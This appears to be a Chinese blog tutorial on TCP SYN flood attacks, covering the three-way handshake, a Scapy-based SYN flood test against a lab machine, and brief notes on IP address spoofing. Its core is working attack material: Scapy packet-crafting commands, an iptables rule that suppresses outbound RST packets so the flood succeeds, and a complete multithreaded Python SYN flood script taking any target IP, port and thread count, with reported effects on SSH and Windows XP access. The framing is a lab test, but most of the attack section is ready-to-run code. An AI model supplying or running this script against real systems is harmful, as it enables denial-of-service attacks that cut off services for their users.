目录
1、TCP三次握手
2、SynFlood攻击原理
3、synflood测试
4、IP地址欺骗
1、TCP三次握手
一个正常的tcp连接,需要进行三次握手,tcp连接实质上只是客户端和服务端的一种约定,如下图所示:
三次握手
2、SynFlood攻击原理
syn占用的tcp最大连接数,而不是占用cpu或者内存,是即使操作系统具有syn在等待n秒后断开的机制,但是flood攻击时,新空闲的连接又会被新的syn连接挤满。
syn攻击
3、synflood测试
实验环境:kali
#apt-get install python-gnuplot //在kali打开scapy会报一些信息,如果再下次打开时不再出现,需安装此包
指定目标IP地址
>>> i=IP()
>>> i.dst="192.168.50.183"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 192.168.50.115
dst= 192.168.50.183
\options\
指定TCP端口
>>> t=TCP()
>>> t.dport=22
>>> t.display()
###[ TCP ]###
sport= ftp_data
dport= ssh
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}
发送数据包
>>> sr1(i/t,verbose=1,timeout=2)
Begin emission:
Finished to send 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=64 proto=tcp chksum=0x5451 src=192.168.50.183 dst=192.168.50.115 options=[] |<TCP sport=ssh dport=ftp_data seq=1747720139 ack=1 dataofs=6L reserved=0L flags=SA window=5840 chksum=0x1aa9 urgptr=0 options=[('MSS', 1460)] |<Padding load='\x00\x00' |>>>
通过程序发送数据包,对端会返回一个syn+ack,但是操作系统在接收到此数据包时,并不认为是系统本身发送的(通过程序scapy发送),所以会返回一个RST:
抓包分析
这样就不会达到syn攻击的效果,因为攻击方主机已经主动的与被攻击方断开了,需要添加一条iptables策略,禁止发送rst
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.50.183 -j DROP
查看iptables策略
再次发送一个数据包,可以看到服务器在等待并且要求重传,当超时后,丢弃此包。如果通过发送大量的数据包,则会造成synflood攻击。
image.png
准备工作完成之后,下面开始针对靶机做测试:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"
print "举例: ./syn_flood.py 1.1.1.1 80 20"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])
print "正在执行 SYN flood 攻击. 按 Ctrl+C 停止攻击."
def synflood(target,port):
while 0 == 0:
x = random.randint(0,65535)
send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
thread.start_new_thread(synflood, (target,port))
while 0 == 0:
sleep(1)
添加执行权限chmod +x synflood.py
后,开始执行,此脚本会一直循环发送200个连接,直至ctrl+c终止。
在没有执行攻击之前,ssh登录192.168.50.183是很快的,一旦执行脚本,登录会超时。当然有时也能登录上去,是因为正好空闲的连接释放出来后,ssh登录使用此释放的连接。
ssh登录等待
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' //查看靶机的连接数
查看靶机连接
对于windows的可以在kali上使用
rdesktop
命令来远程连接,发送的连接数设置为10个就可以使windows xp无法连接,当然记得iptables策略。windows系统默认半开连接数10个,像迅雷一些下载软件,在下载的时候,默认会修改最大的连接数
TCP断开握手
可参考synflood原理与防范
4、IP地址欺骗
- 经常用于Dos攻击
- 根据IP头地址寻址
- 伪造IP源地址
- 边界路由器过滤
- 入站、出站
- 受害者可能是源、目的地址
- 绕过基于地址的验证
- 压力测试模拟多用户
- 上层协议(TCP序列号)
网友评论